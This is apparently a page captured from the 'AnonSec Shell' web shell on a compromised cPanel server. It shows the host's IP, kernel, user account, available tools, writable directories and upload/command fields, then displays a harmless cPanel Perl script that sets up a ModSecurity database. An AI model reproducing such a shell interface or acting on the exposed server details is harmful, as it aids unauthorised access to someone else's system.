AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.149.26.40
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/scripts//setup_modsec_db
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/setup_modsec_db                 Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::setup_modsec_db;

use strict;

use Cpanel::ModSecurity::DB ();
use Cpanel::Logger          ();
use Cpanel::Locale          ();

if (@ARGV) {
    die <<EOU;
usage: $0

Performs a non-destructive setup of the modsec database and hits table. (In other words,
ensures that they are present, but doesn't wipe any existing data.)

This script does not accept any arguments.
EOU
}

exit run() unless caller;

sub run {
    my $logger = Cpanel::Logger->new();
    my $lh     = Cpanel::Locale->new();

    # Non-destructive setup of the database and table, in case they're not already set up.
    eval { Cpanel::ModSecurity::DB::initialize_database() };
    if ( my $exception = $@ ) {
        $logger->warn( $lh->maketext( q{The system could not initialize the [asis,ModSecurity™] database: [_1]}, $exception ) );
        exit 1;
    }
    else {
        $logger->info( $lh->maketext(q{Initialized [asis,ModSecurity™] database.}) );
    }

    exit 0;
}

1;

Anon7 - 2022
AnonSec Team